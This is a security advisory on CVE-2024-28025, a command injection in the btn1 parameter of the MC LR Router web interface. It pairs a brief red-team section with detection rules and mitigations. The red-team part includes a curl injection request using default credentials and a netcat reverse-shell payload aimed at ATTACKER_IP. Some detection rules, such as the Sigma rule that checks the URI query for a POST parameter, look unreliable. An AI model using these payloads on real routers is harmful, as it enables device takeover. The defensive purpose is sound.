CVE-2024-28025

Executive Summary

CVE-2024-28025 is a critical OS command injection vulnerability affecting the MC Technologies MC LR Router firmware version 2.10.5. The flaw resides in the web interface I/O configuration functionality, specifically within the btn1 parameter at memory offset 0x8eb0. An authenticated attacker can craft a malicious HTTP request to inject arbitrary operating system commands, leading to full device compromise. With a CVSS score of 7.2 (High), this vulnerability poses a significant risk to network infrastructure, enabling lateral movement, data exfiltration, or persistent backdoor installation. No public exploit code or patch is currently available, making detection and mitigation critical.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on MC Technologies LR Router hardware.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires authenticated session.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system disruption possible.

Threat Level: High. Although authentication is required, default or weak credentials are common in embedded devices, lowering the barrier for attackers.

Deep Dive & Mechanics

The vulnerability is an authenticated OS command injection in the web interface's I/O configuration page. The btn1 parameter is passed unsanitized to a system-level function (likely system(), popen(), or exec()) at code offset 0x8eb0. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Root Cause: Lack of input validation and sanitization on the btn1 parameter before concatenation into a shell command string.

Attack Flow:

1. Attacker authenticates to the web interface (e.g., using default credentials admin:admin).
2. Sends a crafted POST request to the I/O configuration endpoint with a malicious btn1 value.
3. The injected command executes with the privileges of the web server (typically root on embedded Linux).
4. Attacker gains full control of the router.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void handle_io_config() {
    char cmd[256];
    char *btn1 = get_param("btn1");
    snprintf(cmd, sizeof(cmd), "io_control %s", btn1);
    system(cmd);
}

Patched Code (Conceptual):

void handle_io_config() {
    char cmd[256];
    char *btn1 = get_param("btn1");
    // Validate input: only allow alphanumeric and specific safe characters
    if (!is_valid_input(btn1)) {
        log_error("Invalid btn1 parameter");
        return;
    }
    snprintf(cmd, sizeof(cmd), "io_control %s", btn1);
    system(cmd);
}

Key Difference: The patched version includes input validation to reject shell metacharacters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• MC LR Router with firmware 2.10.5
• Valid credentials (e.g., admin:admin)
• Network access to the web interface (typically port 80 or 443)

Exploitation Steps:

1. Authenticate to the web interface and capture session cookie.
2. Send a POST request to the I/O configuration endpoint with injected command.

Example Request (using curl):

curl -X POST http://192.168.1.1/io_config.cgi \
  -H "Cookie: session=valid_session_cookie" \
  -d "btn1=1;id&other_param=value"

Expected Output: The id command output will be reflected in the response or accessible via a reverse shell.

Reverse Shell Payload:

btn1=1;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

Blue Team

Detection:

• Monitor HTTP POST requests to /io_config.cgi containing shell metacharacters (;, |, &, `, $()).
• Alert on unusual process execution from the web server (e.g., /bin/sh, /bin/bash, nc, mkfifo).
• Check for outbound connections from the router to unknown IPs on high ports.

Honeypot Setup:

• Deploy a decoy MC LR Router with default credentials.
• Log all POST requests to /io_config.cgi and analyze for injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /io_config.cgi with btn1 parameter containing shell metacharacters.
• Outbound connections from the router to external IPs on ports 4444, 1337, or 31337.
• Unusual DNS queries from the router to known C2 domains.

Host IOCs:

• Unexpected processes: /bin/sh, /bin/bash, nc, mkfifo, python, perl.
• Modified system binaries or scripts in /sbin/, /usr/sbin/.
• New cron jobs or startup scripts in /etc/init.d/ or /etc/cron.d/.
• Presence of files in /tmp/ with suspicious names (e.g., /tmp/f).

Log IOCs:

• Web server logs showing btn1 parameter with shell metacharacters.
• System logs showing execution of commands like id, whoami, uname -a.

Detection Engineering

YARA Rule

rule CVE_2024_28025_btn1_injection {
    meta:
        description = "Detects HTTP requests exploiting CVE-2024-28025 via btn1 parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28025"
    strings:
        $btn1 = "btn1=" nocase
        $shell1 = ";" ascii wide
        $shell2 = "|" ascii wide
        $shell3 = "&" ascii wide
        $shell4 = "`" ascii wide
        $shell5 = "$(" ascii wide
    condition:
        $btn1 and any of ($shell*)
}

Sigma Rule

title: CVE-2024-28025 OS Command Injection via btn1 Parameter
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP POST requests to /io_config.cgi with shell metacharacters in btn1 parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/io_config.cgi'
        cs-uri-query|contains: 'btn1='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in btn1 (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-28025 OS Command Injection via btn1 Parameter";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/io_config.cgi"; http_uri;
    content:"btn1="; http_client_body;
    pcre:"/btn1=[^&]*(;|\||&|`|\$\(|\))/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-28025;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place MC LR Routers on a separate VLAN with strict firewall rules.
2. Change default credentials: Use strong, unique passwords for the web interface.
3. Disable remote management: If not required, block external access to the web interface.
4. Monitor logs: Implement the detection rules above to identify exploitation attempts.

Long-Term Fixes:

• Vendor patch: Await an official firmware update from MC Technologies. Contact vendor for ETA.
• Workaround: If source code is available, apply input validation on the btn1 parameter.
• Replace device: Consider migrating to a supported router model with active security updates.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block shell metacharacters in POST parameters.
• Use network segmentation to limit lateral movement from compromised routers.
• Enable logging and alerting for all administrative actions on the device.

Valters IT